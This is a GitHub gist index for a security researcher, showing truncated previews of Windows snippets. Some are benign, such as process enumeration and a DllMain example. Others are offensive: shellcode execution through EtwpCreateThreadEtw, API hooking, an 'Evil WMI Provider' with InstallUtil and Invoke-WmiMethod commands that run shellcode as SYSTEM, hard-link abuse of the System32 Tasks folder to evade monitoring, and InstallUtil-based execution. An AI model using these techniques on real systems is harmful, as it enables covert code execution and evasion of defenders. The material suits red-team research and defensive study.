Skip to content

Instantly share code, notes, and snippets.

@TheWover
TheWover / SystemProcessIdInformation.cpp
Last active May 3, 2024 22:05
Demonstrates use of NtQuerySystemInformation and SystemProcessIdInformation to get the image name of a process without opening a process handle
// Demonstrates use of NtQuerySystemInformation and SystemProcessIdInformation to get the image name of a process without opening a process handle
// Author: TheWover
//
#include <iostream>
#include <string>
#include "ntdefs.h"
typedef struct SYSTEM_PROCESS_ID_INFORMATION
{
@TheWover
TheWover / SystemProcessInformation.cpp
Last active May 3, 2024 21:57
Demonstrates use of NtQuerySystemInformation and SystemProcessInformation variants to enumerate processes without opening handles
// Demonstrates use of NtQuerySystemInformation and SystemProcessInformation variants to enumerate processes without opening handles
// Author: TheWover
//
#include <iostream>
#include <string>
#include "ntdefs.h"
bool demoSystemProcessInformation(bool full)
{
@TheWover
TheWover / EtwpTest.cs
Created May 6, 2020 22:03
Demonstrates using ntdll.dll!EtwpCreateThreadEtw for local shellcode execution.
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace EtwpTest
{
class Program
{
static void Main(string[] args)
{
@TheWover
TheWover / process_list_without_handles.cpp
Created June 2, 2021 21:03 — forked from lpBunny/process_list_without_handles.cpp
List process information including process architecture and username without opening any handles
/*
*
* List process information on windows without opening any handles, including process architecture and username
*
*/
#include <Windows.h>
#include <stdio.h>
#include <math.h>
@TheWover
TheWover / win32_hook.h
Created April 7, 2020 01:17 — forked from ghorsington/win32_hook.h
EAT and IAT hook
/*
* EAT-based hooking for x86/x64.
*
* Big thanks to ez (https://github.com/ezdiy/) for making this!
*
* Creates "hooks" by modifying the module's export address table.
* The procedure works in three main parts:
*
* 1. Reading the module's PE file and getting all exported functions.
* 2. Finding the right function to "hook" by simple address lookup
@TheWover
TheWover / EvilWMIProvider.cs
Created February 19, 2019 19:36 — forked from nicholasmckinney/EvilWMIProvider.cs
Evil WMI Provider
// Based On LocalAdmin WMI Provider by Roger Zander
// http://myitforum.com/cs2/blogs/rzander/archive/2008/08/12/how-to-create-a-wmiprovider-with-c.aspx
// Adapted For Evil By @subTee
// Executes x64 ShellCode
//
// Deliver and Install dll
// C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /i EvilWMIProvider.dll
// Invoke calc for SYSTEM level calculations
// Invoke-WmiMethod -Class Win32_Evil -Name ExecShellCalcCode
// Invoke-WmiMethod -Namespace root\cimv2 -Class Win32_Evil -Name ExecShellCode -ArgumentList @(0x90,0x90,0x90), $null
@TheWover
TheWover / dllmain.cpp
Created January 21, 2019 15:56
DLLMain example
// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
#include <string>
std::string test = "not Loaded";
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
@TheWover
TheWover / Base64EncodeFile.ps1
Created May 18, 2019 15:02
Base64 encode a file and copy it to the clipboard using PowerShell. Posted as a Gist mainly for my own sake so that I don't have to Google the syntax every two days.
$filename = "C:\\Testing\donut\\payload.bin"
[Convert]::ToBase64String([IO.File]::ReadAllBytes($filename)) | clip
@TheWover
TheWover / Update_Notes.md
Created August 5, 2019 13:14
Loading .NET Assemblies into Script Hosts - Abusing System32||SysWow64\Tasks writable property

Using Hard Links to point back to attacker controlled location.

mklink /h C:\Windows\System32\Tasks\tasks.dll C:\Tools\Tasks.dll
Hardlink created for C:\Windows\System32\Tasks\tasks.dll <<===>> C:\Tools\Tasks.dll

This can redirect the search to an arbitrary location and evade tools that are looking for filemods in a particular location.

xref: https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html

@TheWover
TheWover / mimic.cs
Created February 19, 2019 19:36 — forked from nicholasmckinney/mimic.cs
WMI execution via C#
using System;
using System.Management;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
Step One:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe mimic.cs
Step Two:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U mimic.exe